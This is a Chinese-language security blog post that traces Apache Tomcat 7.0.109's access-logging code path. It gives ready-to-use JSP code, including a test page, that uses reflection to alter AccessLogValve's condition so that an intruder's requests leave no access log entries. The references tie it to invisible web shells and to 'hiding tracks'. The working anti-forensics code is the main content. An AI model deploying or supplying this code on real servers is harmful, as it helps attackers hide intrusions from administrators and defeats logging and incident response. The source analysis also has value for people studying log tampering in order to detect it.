源码分析

版本:apache-tomcat-7.0.109

日志配置

apache-tomcat-7.0.109/conf/server.xml文件中可看到默认access日志记录配置,也是我们想要隐藏的:

  1. <Host name="localhost" appBase="webapps"
  2. unpackWARs="true" autoDeploy="true">
  3. <!-- SingleSignOn valve, share authentication between web applications
  4. Documentation at: /docs/config/valve.html -->
  5. <!--
  6. <Valve className="org.apache.catalina.authenticator.SingleSignOn" />
  7. -->
  8. <!-- Access log processes all example.
  9. Documentation at: /docs/config/valve.html
  10. Note: The pattern used is equivalent to using pattern="common" -->
  11. <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
  12. prefix="localhost_access_log." suffix=".txt"
  13. pattern="%h %l %u %t &quot;%r&quot; %s %b" />
  14. </Host>

想要隐藏访问日志,除了粗暴删改此配置之外,就只能从代码层面做改动。
该配置嵌于Host标签内,属于StandardHost类。可知默认情况下,StandardHost实例会进行日志记录。

从请求处理到日志记录

真正处理请求的地方在CoyoteAdapter的service方法中:
企业微信截图_1b891ff4-9aa5-4ee5-8af1-789e5f16be80.png
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);这行代码是Engine处理请求的地方。这里面还有复杂的过程,最后会调用Servlet去处理。这里是责任链模式的使用。
企业微信截图_ace6bd7c-dd31-4387-8760-bfe0ddfb81b9.png
在CoyoteAdapter的service方法中,请求处理完成后会调用logAccess进行日志记录。
由于前面已知我们需要关注的是StandardHost实例进行日志记录的操作。可在CoyoteAdapter中寻找到以下host进行logAccess操作的地方。
只有两处,一处是404后的日志记录,不是我们的目标:
企业微信截图_cd29613d-bd96-447c-8413-7c0d19fb75af.png
另一处被包装于log方法内,需要关注:
企业微信截图_5d63462b-0e57-4ee6-8906-58cea746692b.png
但实际上对此处下断点,并不会走到此处。是哪里出问题了呢🤔
于是重新访问一个jsp页面,并一步步跟进寻找记录log的代码。
企业微信截图_2add09b8-2bec-4755-ad35-f84bd1694985.png
企业微信截图_18bb3a9e-4468-478f-8918-66069a9314ba.png
image.png
其中context是StandardContext,调用logAccess。跟进发现是ContainerBase的logAccess方法。
image.png
image.png
由于默认情况下只有Host注册了日志记录。
企业微信截图_dbd1ce79-f381-4732-846c-b09676633de9.png
企业微信截图_053b923d-302f-4cbb-ac2c-0590250d4d0b.png
此时继续调用父容器的logAccess方法,即到了StandardHost。
企业微信截图_6c2d6199-a90c-4815-946f-1d82be1c9cb8.png
StandardHost的getAccessLog()返回非空,其中包含AccessLogValve实例。此时你是否就能联想到前面在配置文件中的className="org.apache.catalina.valves.AccessLogValve"。:)
企业微信截图_08fc93ed-29e0-4b37-9310-98937ee35c19.png
继续跟进,发现getAccessLog().log(request, response, time);方法即为对accessLog的logs中的每个AccessLogValve对象调用其log方法。看看对象的内容是不是很眼熟。
企业微信截图_0bc41be2-8ea3-49fc-8dc5-44abc46c83e8.png
循环logElements提取信息存放到result中。
企业微信截图_c0cdca01-9402-4e80-9e47-c3756f85ced0.png
log(result.toString());方法会调用public void log(String message)方法,可以看到该方法会真正将log信息写入文件。
企业微信截图_c1eb9a07-25c8-415f-9bf1-402b504af925.png
向日志文件写入的是此块代码:
企业微信截图_c3a76805-263c-4324-a454-afc0d9b92201.png
至此,我们对日志记录的代码逻辑有了一个较为清晰的认知。现在的问题在于从哪里中断日志记录的代码而不影响正常业务?

中断日志记录

考虑参考文章[2]中提到的方式进行尝试:

通过改动this.condition和request.getAttribute(this.conditiion),或者this.conditionIf和request.getAttribute(this.conditiionIf),令以上任一条件不成立,则第一个IF逻辑则无法进入,最终使得Tomcat不记录我们的访问记录。

企业微信截图_f85fccc2-d144-4639-aadb-66364c7c1b68.png
可以看到作者提到的这块逻辑代码位于此版本环境(apache-tomcat-7.0.109)的AccessLogValve.java的public void log(Request request, Response response, long time)方法中。也是前面步步跟进日志记录逻辑经过的地方。

  1. if (
  2. !getState().isAvailable() ||
  3. !getEnabled() ||
  4. logElements == null ||
  5. condition != null && null != request.getRequest().getAttribute(condition) ||
  6. conditionIf != null && null == request.getRequest().getAttribute(conditionIf)
  7. )
  8. {return;}

前面三个条件不能去改变,会影响Tomcat的一些正常代码逻辑。但是可以尝试让后两个条件任意一个为真。但是最后一个条件可能会影响到此后的所有访问都不记录日志,因此最终选择将第四个条件置为真:

  1. condition != null && null != request.getRequest().getAttribute(condition)

即使AccessLogValve的condition与request的condition同时非空。

代码实现

以下代码片段适用于Filter、Servlet、JSP,但可能需要稍作修改/完善。
且不同tomcat版本可能存在实现差异,但明确原理后可快速定位源码中的处理逻辑,并修正完成。

  1. <%@ page import="org.apache.catalina.connector.Request" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.core.StandardHost" %>
  4. <%@ page import="org.apache.catalina.AccessLog" %>
  5. <%@ page import="org.apache.catalina.valves.AccessLogValve" %>
  6. <%
  7. Field requestF = request.getClass().getDeclaredField("request");
  8. requestF.setAccessible(true);
  9. Request req = (Request)requestF.get(request);
  10. StandardHost standardHost = (StandardHost)req.getMappingData().host;
  11. AccessLog[] logs = (AccessLog[])getFieldValue(standardHost.getAccessLog(), "logs");
  12. for( AccessLog log:logs ){
  13. ((AccessLogValve)log).setCondition("WhatEverYouWant");//任意填入
  14. }
  15. request.setAttribute("WhatEverYouWant", "WhatEverYouWant");
  16. %>
  17. <%!
  18. public static Object getFieldValue(Object obj, String fieldName) throws Exception {
  19. Field f = obj.getClass().getDeclaredField(fieldName);
  20. f.setAccessible(true);
  21. return f.get(obj);
  22. }
  23. %>

效果测试

Tomcat版本:apache-tomcat-7.0.109
测试文件:hello-hide.jsp

  1. <%@ page import="org.apache.catalina.connector.Request" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.core.StandardHost" %>
  4. <%@ page import="org.apache.catalina.AccessLog" %>
  5. <%@ page import="org.apache.catalina.valves.AccessLogValve" %>
  6. <html>
  7. <head>
  8. <title>Hello, hidden world - JSP</title>
  9. </head>
  10. <body>
  11. <%-- JSP Comment --%>
  12. <h1>Hello, hidden world!</h1>
  13. <p>
  14. <%
  15. out.println("Your IP address is ");
  16. %>
  17. <span style="color:red">
  18. <%= request.getRemoteAddr() %>
  19. </span>
  20. </p>
  21. </body>
  22. </html>
  23. <%
  24. Field requestF = request.getClass().getDeclaredField("request");
  25. requestF.setAccessible(true);
  26. Request req = (Request)requestF.get(request);
  27. StandardHost standardHost = (StandardHost)req.getMappingData().host;
  28. AccessLog[] logs = (AccessLog[])getFieldValue(standardHost.getAccessLog(), "logs");
  29. for( AccessLog log:logs ){
  30. ((AccessLogValve)log).setCondition("WhatEverYouWant");//任意填入
  31. }
  32. request.setAttribute("WhatEverYouWant", "WhatEverYouWant");
  33. %>
  34. <%!
  35. public static Object getFieldValue(Object obj, String fieldName) throws Exception {
  36. Field f = obj.getClass().getDeclaredField(fieldName);
  37. f.setAccessible(true);
  38. return f.get(obj);
  39. }
  40. %>

tomcat-hide-show.mp4

参考

[1].Tomcat 源代码调试 - 看不见的 Shell 第二式增强之无痕
[2].Tomcat容器攻防笔记之隐匿行踪
[3].tomcat7中对http请求的处理过程